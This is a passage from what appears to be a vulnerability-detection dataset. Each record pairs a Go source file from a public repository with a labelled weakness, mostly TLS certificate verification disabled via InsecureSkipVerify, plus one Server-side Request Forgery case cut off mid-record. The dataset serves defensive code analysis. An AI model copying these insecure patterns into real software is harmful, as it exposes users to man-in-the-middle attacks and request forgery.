[]string{to.String()},\n\t\tAllowPublicUnauthenticatedAccess: true,\n\t}\n}\n\nfunc saveAndLogConfig(ctx context.Context, client databroker.DataBrokerServiceClient, cfg *config.Config, graceful bool) error {\n\tif err := saveConfig(ctx, client, cfg); err != nil {\n\t\treturn err\n\t}\n\n\tif graceful {\n\t\treturn waitHealthy(ctx, httpClient, cfg.Routes)\n\t}\n\n\treturn nil\n}\n\nfunc waitHealthy(ctx context.Context, client *http.Client, routes []*config.Route) error {\n\tnow := time.Now()\n\tif err := xdserr.WaitForHealthy(ctx, httpClient, routes); err != nil {\n\t\treturn err\n\t}\n\n\tlog.Info(ctx).\n\t\tInt(\"routes\", len(routes)).\n\t\tStr(\"elapsed\", time.Since(now).String()).\n\t\tMsg(\"ok\")\n\n\treturn nil\n}\n\nfunc saveConfig(ctx context.Context, client databroker.DataBrokerServiceClient, cfg *config.Config) error {\n\tany := protoutil.NewAny(cfg)\n\tr, err := client.Put(ctx, &databroker.PutRequest{\n\t\tRecords: []*databroker.Record{{\n\t\t\tType: any.GetTypeUrl(),\n\t\t\tId: \"test_config\",\n\t\t\tData: any,\n\t\t}}})\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Info(ctx).Uint64(\"version\", r.GetRecord().GetVersion()).Msg(\"set config\")\n\treturn nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 34, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "1c7edbf8f989dde3f7ccdbc6ee5922343c2545260406cfba6da186c287441b3c", "license": {"spdx": ["MIT"], "repo": "stevenshuang/snippets", "path": "go/network/http.go", "repo_head_hexsha": "62835173cc95126f35c7f9a53d32f6764465e439", "stack_hexsha": "fedd6ee1166c387e83bb70c74b56f069b9a22d41", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 18, "entireCode": "package network\n\nimport (\n \"bytes\"\n \"crypto/tls\"\n \"fmt\"\n \"io/ioutil\"\n \"net/http\"\n \"encoding/json\"\n)\nconst (\n baseUrl = `https://httpbin.org`\n)\n\nfunc Get() {\n client := &http.Client{\n Transport: &http.Transport{\n TLSClientConfig: &tls.Config{\n InsecureSkipVerify: true,\n },\n },\n }\n resp, err := client.Get(baseUrl+\"/get\")\n if err != nil {\n fmt.Println(\"get httpbin website error: \", err)\n return\n }\n defer resp.Body.Close()\n data, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n fmt.Println(\"read data from httpbin error: \", err)\n return\n }\n fmt.Println(string(data))\n}\n\nfunc Post() {\n reqBody := map[string]string{\n \"username\": \"cooc\",\n \"password\": \"\",\n }\n body, _ := json.Marshal(reqBody)\n req, err := http.NewRequest(\"POST\", baseUrl+\"/post\", bytes.NewBuffer(body))\n if err != nil {\n fmt.Println(\"build post rquest error: \", err)\n return \n }\n req.Header.Add(\"Content-Type\", \"application/json\")\n client := &http.Client{\n Transport: &http.Transport{\n TLSClientConfig: &tls.Config{\n InsecureSkipVerify: true,\n },\n },\n }\n resp, err := client.Do(req)\n if err != nil {\n fmt.Println(\"post httpbin website error: \", err)\n return\n }\n defer resp.Body.Close()\n data, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n fmt.Println(\"read data from post request error: \", err)\n return\n }\n fmt.Println(string(data))\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "ee98103296a4173d21ae8eaa0ba04aae2c7f184d2d83684ceb9bbdb75979ebbb", "license": {"spdx": ["MIT"], "repo": "dysolution/sleeper", "path": "client.go", "repo_head_hexsha": "5d6d27ea8cdc2c569a24fc9455f408be53dc3605", "stack_hexsha": "b4c52b148328b8d6a4ff754c6ed2a9498fadb0dd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 209, "entireCode": "package sleepwalker\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/json\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"net/http\"\n\n\t\"github.com/Sirupsen/logrus\"\n)\n\nvar pool *x509.CertPool\nvar Log *logrus.Logger\n\nvar transport *http.Transport // avoid leaks\n\n// A RESTClient can perform operations against a REST API.\ntype RESTClient interface {\n\tGet(Findable) (Result, error)\n\tCreate(Findable) (Result, error)\n\tUpdate(Findable) (Result, error)\n\tDelete(Findable) (Result, error)\n\tPut(Findable, string) (Result, error)\n}\n\ntype serializable interface {\n\tMarshal() ([]byte, error)\n}\n\n// Findable objects can report the URL where they can be found.\ntype Findable interface {\n\tPath() string\n}\n\n// A RESTObject has a canonical API endpoint URL and can be serialized to JSON.\ntype RESTObject interface {\n\tserializable\n\tFindable\n}\n\n// A Token is a string representation of an OAuth2 token.\ntype Token string\n\n// getToken submits the provided credentials to the OAuth2 endpoint and\n// returns a token that can be used to authenticate HTTP requests to the API.\nfunc getToken(credentials *Credentials, oAuthEndpoint string) Token {\n\tdesc := \"getToken\"\n\tif credentials.areInvalid() {\n\t\tLog.Fatal(\"Not all required credentials were supplied.\")\n\t}\n\n\turi := oAuthEndpoint\n\tLog.WithFields(map[string]interface{}{\n\t\t\"path\": uri,\n\t}).Debug(desc)\n\n\tvalues := formValues(credentials)\n\tLog.WithFields(map[string]interface{}{\n\t\t\"values\": values.Encode(),\n\t}).Debug(desc)\n\n\tresp, err := http.PostForm(uri, values)\n\tif err != nil {\n\t\tLog.Fatal(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tpayload, err := ioutil.ReadAll(resp.Body)\n\tLog.WithFields(map[string]interface{}{\n\t\t\"status\": resp.Status,\n\t\t\"response_payload\": string(payload),\n\t}).Debug(desc)\n\treturn tokenFrom(payload)\n}\n\nvar clientIDs []string\n\n// A Client uses an access token to submit HTTP requests to a REST API.\ntype Client struct {\n\t*Credentials `json:\"-\"`\n\tToken Token `json:\"-\"`\n\tID string `json:\"id\"`\n\tAPIRoot string `json:\"api_root\"`\n}\n\nfunc randHex(n int) string {\n\tvar letters = []rune(\"0123456789abcdef\")\n\tb := make([]rune, n)\n\tfor i := range b {\n\t\tb[i] = letters[rand.Intn(len(letters))]\n\t}\n\treturn string(b)\n}\n\n// GetClient returns a Client that can be used to send requests to a REST API.\nfunc GetClient(cfg *Config) *Client {\n\tif cfg.Logger != nil {\n\t\tLog = cfg.Logger\n\t}\n\ttoken := getToken(cfg.Credentials, cfg.OAuthEndpoint)\n\tid := randHex(4)\n\treturn &Client{cfg.Credentials, token, id, cfg.APIRoot}\n}\n\n// String implements fmt.Stringer.\nfunc (c *Client) String() string {\n\treturn c.ID\n}\n\n// Create uses the provided metadata to create and object\n// and returns it along with metadata about the HTTP request, including\n// response time.\nfunc (c *Client) Create(object Findable) (Result, error) {\n\treturn c.reqWithPayload(\"POST\", object)\n}\n\n// Update uses the provided metadata to update an object and returns\n// metadata about the HTTP request, including response time.\nfunc (c *Client) Update(object Findable) (Result, error) {\n\treturn c.reqWithPayload(\"PUT\", object)\n}\n\n// Put uses the provided metadata to perform an HTTP PUT against the provided\n// path and returns metadata about the HTTP request, including response time.\nfunc (c *Client) Put(object Findable, path string) (Result, error) {\n\treturn c.reqWithPayloadAndPath(\"PUT\", object, path)\n}\n\n// Delete destroys the object described by the provided object, as long as\n// enough data is provided to unambiguously identify it to the API, and returns\n// metadta about the HTTP request, including response time.\nfunc (c *Client) Delete(object Findable) (Result, error) {\n\treturn c.req(\"DELETE\", object.Path())\n}\n\n// Get uses the provided metadata to request an object from the API\n// and returns it along with metadata about the HTTP request, including\n// response time.\nfunc (c *Client) Get(object Findable) (Result, error) {\n\treturn c.req(\"GET\", object.Path())\n}\n\n// GetPath performs an HTTP GET against the provided path and returns metadata\n// about the HTTP request, including response time.\nfunc (c *Client) GetPath(path string) (Result, error) {\n\treturn c.req(\"GET\", path)\n}\n\nfunc (c *Client) GetWithPayload(path string, payload []byte) (Result, error) {\n\treq, _ := newRequest(\"GET\", c.APIRoot+path, c.Token, payload)\n\treturn c.performRequest(req)\n}\n\nfunc (c *Client) req(method, path string) (Result, error) {\n\treq, _ := newRequest(method, c.APIRoot+path, c.Token, nil)\n\treturn c.performRequest(req)\n}\n\nfunc (c *Client) reqWithPayload(method string, object Findable) (Result, error) {\n\tserializedObject, err := Marshal(object)\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\trequest, _ := newRequest(method, c.APIRoot+object.Path(), c.Token, serializedObject)\n\treturn c.performRequest(request)\n}\n\nfunc (c *Client) reqWithPayloadAndPath(method string, object Findable, path string) (Result, error) {\n\tserializedObject, err := Marshal(object)\n\tif err != nil {\n\t\treturn Result{}, err\n\t}\n\trequest, _ := newRequest(method, c.APIRoot+path, c.Token, serializedObject)\n\treturn c.performRequest(request)\n}\n\n// performRequest performs a request using the given parameters and\n// returns a struct that contains the HTTP status code and payload from\n// the server's response as well as metadata such as the response time.\nfunc (c *Client) performRequest(req request) (Result, error) {\n\tdesc := \"Client.performRequest\"\n\n\treq.handleObject()\n\treq.addHeaders(req.Token, c.APIKey)\n\n\tresp, err := doRequest(&http.Client{\n\t\tTransport: insecureTransport()},\n\t\treq.httpRequest,\n\t)\n\tif err != nil {\n\t\tLog.WithFields(map[string]interface{}{\n\t\t\t\"error\": err,\n\t\t\t\"source\": \"doRequest\",\n\t\t}).Error()\n\t\treturn Result{}, err\n\t}\n\n\tresult := Result{req, resp}\n\tresult.Report(desc)\n\treturn result, nil\n}\n\n// insecureTransport avoids leaks by memoizing a single transport.\nfunc insecureTransport() *http.Transport {\n\tif transport == nil {\n\t\ttransport = &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t},\n\t\t}\n\t}\n\treturn transport\n}\n\nfunc tokenFrom(payload []byte) Token {\n\tvar response map[string]string\n\tjson.Unmarshal(payload, &response)\n\treturn Token(response[\"access_token\"])\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 209, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "937fb3df20a8f5acf6676cf1ed42b2721b496d7e4870e76c2c1630fc5957df6a", "license": {"spdx": ["Apache-2.0"], "repo": "dustintownsend/origin", "path": "pkg/dockerregistry/client.go", "repo_head_hexsha": "c5f08bc394627c7e73455ec4428dc0459d270290", "stack_hexsha": "59f2dbdf5558b7f07ae567327418cbd71e7a2226", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 133, "entireCode": "package dockerregistry\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/url\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/fsouza/go-dockerclient\"\n\t\"github.com/golang/glog\"\n\n\timageapi \"github.com/openshift/origin/pkg/image/api\"\n)\n\n// Client includes methods for accessing a Docker registry by name.\ntype Client interface {\n\t// Connect to a Docker registry by name. Pass \"\" for the Docker Hub\n\tConnect(registry string, allowInsecure bool) (Connection, error)\n}\n\n// Connection allows you to retrieve data from a Docker V1 registry.\ntype Connection interface {\n\t// ImageTags will return a map of the tags for the image by namespace (if not\n\t// specified, will be \"library\") and name.\n\tImageTags(namespace, name string) (map[string]string, error)\n\t// ImageByID will return the requested image by namespace (if not specified,\n\t// will be \"library\"), name, and ID.\n\tImageByID(namespace, name, id string) (*docker.Image, error)\n\t// ImageByTag will return the requested image by namespace (if not specified,\n\t// will be \"library\"), name, and tag (if not specified, \"latest\").\n\tImageByTag(namespace, name, tag string) (*docker.Image, error)\n}\n\n// NewClient returns a client object which allows public access to\n// a Docker registry.\n// TODO: accept a docker auth config\nfunc NewClient() Client {\n\treturn &client{\n\t\tconnections: make(map[string]*connection),\n\t}\n}\n\n// client implements the Client interface\ntype client struct {\n\tconnections map[string]*connection\n}\n\n// Connect accepts the name of a registry in the common form Docker provides and will\n// create a connection to the registry. Callers may provide a host, a host:port, or\n// a fully qualified URL. When not providing a URL, the default scheme will be \"https\"\nfunc (c *client) Connect(name string, allowInsecure bool) (Connection, error) {\n\ttarget, err := normalizeRegistryName(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tprefix := target.String()\n\tif conn, ok := c.connections[prefix]; ok && conn.allowInsecure == allowInsecure {\n\t\treturn conn, nil\n\t}\n\tconn := newConnection(*target, allowInsecure)\n\tc.connections[prefix] = conn\n\treturn conn, nil\n}\n\nfunc normalizeRegistryName(name string) (*url.URL, error) {\n\tprefix := name\n\tif len(prefix) == 0 {\n\t\tprefix = \"index.docker.io\"\n\t}\n\thadPrefix := false\n\tswitch {\n\tcase strings.HasPrefix(prefix, \"http://\"), strings.HasPrefix(prefix, \"https://\"):\n\t\thadPrefix = true\n\tdefault:\n\t\tprefix = \"https://\" + prefix\n\t}\n\n\ttarget, err := url.Parse(prefix)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"the registry name cannot be made into a valid url: %v\", err)\n\t}\n\n\tif host, port, err := net.SplitHostPort(target.Host); err == nil {\n\t\tif host == \"docker.io\" {\n\t\t\thost = \"index.docker.io\"\n\t\t}\n\t\tif hadPrefix {\n\t\t\tswitch {\n\t\t\tcase port == \"443\" && target.Scheme == \"https\":\n\t\t\t\ttarget.Host = host\n\t\t\tcase port == \"80\" && target.Scheme == \"http\":\n\t\t\t\ttarget.Host = host\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif target.Host == \"docker.io\" {\n\t\t\ttarget.Host = \"index.docker.io\"\n\t\t}\n\t}\n\treturn target, nil\n}\n\nfunc convertConnectionError(registry string, err error) error {\n\tswitch {\n\tcase strings.Contains(err.Error(), \"connection refused\"):\n\t\treturn errRegistryNotFound{registry}\n\tdefault:\n\t\treturn err\n\t}\n}\n\ntype connection struct {\n\tclient *http.Client\n\turl url.URL\n\tcached map[string]*repository\n\n\tallowInsecure bool\n}\n\nfunc newConnection(url url.URL, allowInsecure bool) *connection {\n\tjar, _ := cookiejar.New(nil)\n\tclient := &http.Client{Jar: jar}\n\n\tif allowInsecure {\n\t\tclient.Transport = &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t\tProxy: http.ProxyFromEnvironment,\n\t\t\tDial: (&net.Dialer{\n\t\t\t\tTimeout: 30 * time.Second,\n\t\t\t\tKeepAlive: 30 * time.Second,\n\t\t\t}).Dial,\n\t\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\t}\n\t}\n\treturn &connection{\n\t\turl: url,\n\t\tclient: client,\n\t\tcached: make(map[string]*repository),\n\n\t\tallowInsecure: allowInsecure,\n\t}\n}\n\ntype repository struct {\n\tname string\n\tendpoint url.URL\n\ttoken string\n}\n\n// ImageTags returns the tags for the named Docker image repository.\nfunc (c *connection) ImageTags(namespace, name string) (map[string]string, error) {\n\tif len(namespace) == 0 {\n\t\tnamespace = \"library\"\n\t}\n\tif len(name) == 0 {\n\t\treturn nil, fmt.Errorf(\"image name must be specified\")\n\t}\n\n\trepo, err := c.getCachedRepository(fmt.Sprintf(\"%s/%s\", namespace, name))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.getTags(repo)\n}\n\n// ImageByID returns the specified image within the named Docker image repository\nfunc (c *connection) ImageByID(namespace, name, imageID string) (*docker.Image, error) {\n\tif len(namespace) == 0 {\n\t\tnamespace = \"library\"\n\t}\n\tif len(name) == 0 {\n\t\treturn nil, fmt.Errorf(\"image name must be specified\")\n\t}\n\n\trepo, err := c.getCachedRepository(fmt.Sprintf(\"%s/%s\", namespace, name))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.getImage(repo, imageID, \"\")\n}\n\n// ImageByTag returns the specified image within the named Docker image repository\nfunc (c *connection) ImageByTag(namespace, name, tag string) (*docker.Image, error) {\n\tif len(namespace) == 0 {\n\t\tnamespace = \"library\"\n\t}\n\tif len(name) == 0 {\n\t\treturn nil, fmt.Errorf(\"image name must be specified\")\n\t}\n\tsearchTag := tag\n\tif len(searchTag) == 0 {\n\t\tsearchTag = imageapi.DefaultImageTag\n\t}\n\n\trepo, err := c.getCachedRepository(fmt.Sprintf(\"%s/%s\", namespace, name))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timageID, err := c.getTag(repo, searchTag, tag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.getImage(repo, imageID, tag)\n}\n\nfunc (c *connection) getCachedRepository(name string) (*repository, error) {\n\tif cached, ok := c.cached[name]; ok {\n\t\treturn cached, nil\n\t}\n\trepo, err := c.getRepository(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc.cached[name] = repo\n\treturn repo, nil\n}\n\nfunc (c *connection) getRepository(name string) (*repository, error) {\n\tglog.V(4).Infof(\"Getting repository %s from %s\", name, c.url)\n\tbase := c.url\n\tbase.Path = path.Join(base.Path, fmt.Sprintf(\"/v1/repositories/%s/images\", name))\n\treq, err := http.NewRequest(\"GET\", base.String(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\treq.Header.Add(\"X-Docker-Token\", \"true\")\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\t// if we tried https and were rejected, try http\n\t\tif c.url.Scheme == \"https\" && c.allowInsecure {\n\t\t\tglog.V(4).Infof(\"Failed to get https, trying http: %v\", err)\n\t\t\tc.url.Scheme = \"http\"\n\t\t\treturn c.getRepository(name)\n\t\t}\n\t\treturn nil, convertConnectionError(c.url.String(), fmt.Errorf(\"error getting X-Docker-Token from %s: %v\", name, err))\n\t}\n\tdefer resp.Body.Close()\n\n\t// if we were redirected, update the base urls\n\tc.url.Scheme = resp.Request.URL.Scheme\n\tc.url.Host = resp.Request.URL.Host\n\n\tswitch code := resp.StatusCode; {\n\tcase code == http.StatusNotFound:\n\t\treturn nil, errRepositoryNotFound{name}\n\tcase code >= 300 || resp.StatusCode < 200:\n\t\treturn nil, fmt.Errorf(\"error retrieving repository: server returned %d\", resp.StatusCode)\n\t}\n\n\t// TODO: select a random endpoint\n\treturn &repository{\n\t\tname: name,\n\t\tendpoint: url.URL{Scheme: c.url.Scheme, Host: resp.Header.Get(\"X-Docker-Endpoints\")},\n\t\ttoken: resp.Header.Get(\"X-Docker-Token\"),\n\t}, nil\n}\n\nfunc (c *connection) getTags(repo *repository) (map[string]string, error) {\n\tendpoint := repo.endpoint\n\tendpoint.Path = path.Join(endpoint.Path, fmt.Sprintf(\"/v1/repositories/%s/tags\", repo.name))\n\treq, err := http.NewRequest(\"GET\", endpoint.String(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\treq.Header.Add(\"Authorization\", \"Token \"+repo.token)\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn nil, convertConnectionError(c.url.String(), fmt.Errorf(\"error getting image tags for %s: %v\", repo.name, err))\n\t}\n\tdefer resp.Body.Close()\n\n\tswitch code := resp.StatusCode; {\n\tcase code == http.StatusNotFound:\n\t\treturn nil, errRepositoryNotFound{repo.name}\n\tcase code >= 300 || resp.StatusCode < 200:\n\t\t// token might have expired - evict repo from cache so we can get a new one on retry\n\t\tdelete(c.cached, repo.name)\n\n\t\treturn nil, fmt.Errorf(\"error retrieving tags: server returned %d\", resp.StatusCode)\n\t}\n\ttags := make(map[string]string)\n\tif err := json.NewDecoder(resp.Body).Decode(&tags); err != nil {\n\t\treturn nil, fmt.Errorf(\"error decoding image %s tags: %v\", repo.name, err)\n\t}\n\treturn tags, nil\n}\n\nfunc (c *connection) getTag(repo *repository, tag, userTag string) (string, error) {\n\tendpoint := repo.endpoint\n\tendpoint.Path = path.Join(endpoint.Path, fmt.Sprintf(\"/v1/repositories/%s/tags/%s\", repo.name, tag))\n\treq, err := http.NewRequest(\"GET\", endpoint.String(), nil)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\treq.Header.Add(\"Authorization\", \"Token \"+repo.token)\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn \"\", convertConnectionError(c.url.String(), fmt.Errorf(\"error getting image id for %s:%s: %v\", repo.name, tag, err))\n\t}\n\tdefer resp.Body.Close()\n\n\tswitch code := resp.StatusCode; {\n\tcase code == http.StatusNotFound:\n\t\t// Attempt to lookup tag in tags map\n\t\tallTags, err := c.getTags(repo)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif image, ok := allTags[tag]; ok {\n\t\t\treturn image, nil\n\t\t}\n\t\treturn \"\", errTagNotFound{len(userTag) == 0, tag, repo.name}\n\tcase code >= 300 || resp.StatusCode < 200:\n\t\t// token might have expired - evict repo from cache so we can get a new one on retry\n\t\tdelete(c.cached, repo.name)\n\n\t\treturn \"\", fmt.Errorf(\"error retrieving tag: server returned %d\", resp.StatusCode)\n\t}\n\tvar imageID string\n\tif err := json.NewDecoder(resp.Body).Decode(&imageID); err != nil {\n\t\treturn \"\", fmt.Errorf(\"error decoding image id: %v\", err)\n\t}\n\treturn imageID, nil\n}\n\nfunc (c *connection) getImage(repo *repository, image, userTag string) (*docker.Image, error) {\n\tendpoint := repo.endpoint\n\tendpoint.Path = path.Join(endpoint.Path, fmt.Sprintf(\"/v1/images/%s/json\", image))\n\treq, err := http.NewRequest(\"GET\", endpoint.String(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\n\tif len(repo.token) > 0 {\n\t\treq.Header.Add(\"Authorization\", \"Token \"+repo.token)\n\t}\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn nil, convertConnectionError(c.url.String(), fmt.Errorf(\"error getting json for image %q: %v\", image, err))\n\t}\n\tdefer resp.Body.Close()\n\tswitch code := resp.StatusCode; {\n\tcase code == http.StatusNotFound:\n\t\treturn nil, NewImageNotFoundError(repo.name, image, userTag)\n\tcase code >= 300 || resp.StatusCode < 200:\n\t\t// token might have expired - evict repo from cache so we can get a new one on retry\n\t\tdelete(c.cached, repo.name)\n\t\tif body, err := ioutil.ReadAll(resp.Body); err == nil {\n\t\t\tglog.V(6).Infof(\"unable to fetch image %s: %#v\\n%s\", req.URL, resp, string(body))\n\t\t}\n\t\treturn nil, fmt.Errorf(\"error retrieving image %s: server returned %d\", req.URL, resp.StatusCode)\n\t}\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"can't read image body from %s: %v\", req.URL, err)\n\t}\n\treturn unmarshalDockerImage(body)\n}\n\ntype errTagNotFound struct {\n\twasDefault bool\n\ttag string\n\trepository string\n}\n\nfunc (e errTagNotFound) Error() string {\n\tif e.wasDefault {\n\t\treturn fmt.Sprintf(\"the default tag %q has not been set on repository %q\", e.tag, e.repository)\n\t}\n\treturn fmt.Sprintf(\"tag %q has not been set on repository %q\", e.tag, e.repository)\n}\n\ntype errRepositoryNotFound struct {\n\trepository string\n}\n\nfunc (e errRepositoryNotFound) Error() string {\n\treturn fmt.Sprintf(\"the repository %q was not found\", e.repository)\n}\n\ntype errImageNotFound struct {\n\ttag string\n\timage string\n\trepository string\n}\n\nfunc NewImageNotFoundError(repository, image, tag string) error {\n\treturn errImageNotFound{tag, image, repository}\n}\n\nfunc (e errImageNotFound) Error() string {\n\tif len(e.tag) == 0 {\n\t\treturn fmt.Sprintf(\"the image %q in repository %q was not found and may have been deleted\", e.image, e.repository)\n\t}\n\treturn fmt.Sprintf(\"the image %q in repository %q with tag %q was not found and may have been deleted\", e.image, e.repository, e.tag)\n}\n\ntype errRegistryNotFound struct {\n\tregistry string\n}\n\nfunc (e errRegistryNotFound) Error() string {\n\treturn fmt.Sprintf(\"the registry %q could not be reached\", e.registry)\n}\n\nfunc IsRegistryNotFound(err error) bool {\n\t_, ok := err.(errRegistryNotFound)\n\treturn ok\n}\n\nfunc IsRepositoryNotFound(err error) bool {\n\t_, ok := err.(errRepositoryNotFound)\n\treturn ok\n}\n\nfunc IsImageNotFound(err error) bool {\n\t_, ok := err.(errImageNotFound)\n\treturn ok\n}\n\nfunc IsTagNotFound(err error) bool {\n\t_, ok := err.(errTagNotFound)\n\treturn ok\n}\n\nfunc IsNotFound(err error) bool {\n\treturn IsRegistryNotFound(err) || IsRepositoryNotFound(err) || IsImageNotFound(err) || IsTagNotFound(err)\n}\n\nfunc unmarshalDockerImage(body []byte) (*docker.Image, error) {\n\tvar imagePre012 docker.ImagePre012\n\tif err := json.Unmarshal(body, &imagePre012); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &docker.Image{\n\t\tID: imagePre012.ID,\n\t\tParent: imagePre012.Parent,\n\t\tComment: imagePre012.Comment,\n\t\tCreated: imagePre012.Created,\n\t\tContainer: imagePre012.Container,\n\t\tContainerConfig: imagePre012.ContainerConfig,\n\t\tDockerVersion: imagePre012.DockerVersion,\n\t\tAuthor: imagePre012.Author,\n\t\tConfig: imagePre012.Config,\n\t\tArchitecture: imagePre012.Architecture,\n\t\tSize: imagePre012.Size,\n\t}, nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 133, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "4af37917c501f3c00bc83a90637c448d8697b0e63fe81537a8d69f3bd37199c1", "license": {"spdx": ["MIT"], "repo": "Helyk/MAL", "path": "nyaa_scraper/nyaa.go", "repo_head_hexsha": "67a8c9ff7a760fc5d979ae609fc1c61483d8524a", "stack_hexsha": "b96c2fa1fba87d70429c743307460c61d64d1670", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 254, "entireCode": "package nyaa_scraper\n\nimport (\n\t\"compress/gzip\"\n\t\"fmt\"\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype NyaaCategory struct {\n\tName string\n\tMajor int\n\tMinor int\n}\n\nfunc (category NyaaCategory) QueryParam() string {\n\treturn fmt.Sprintf(\"c=%d_%d\", category.Major, category.Minor)\n}\n\nfunc (category NyaaCategory) String() string {\n\treturn category.Name\n}\n\nvar (\n\tAllCategories = NyaaCategory{\"All categories\", 0, 0}\n\n\tAnime = NyaaCategory{\"All anime\", 1, 0}\n\tAnimeMusicVideo = NyaaCategory{\"Anime music video\", 1, 1}\n\tAnimeEnglishTranslated = NyaaCategory{\"Anime English translated\", 1, 2}\n\tAnimeNonEnglishTranslated = NyaaCategory{\"Anime non English translated\", 1, 3}\n\tAnimeRaw = NyaaCategory{\"Anime raw\", 1, 4}\n\n\tAudio = NyaaCategory{\"All Audio\", 2, 0}\n\tAudioLossless = NyaaCategory{\"Audio lossless\", 2, 1}\n\tAudioLossy = NyaaCategory{\"Audio lossy\", 2, 2}\n\n\tLiterature = 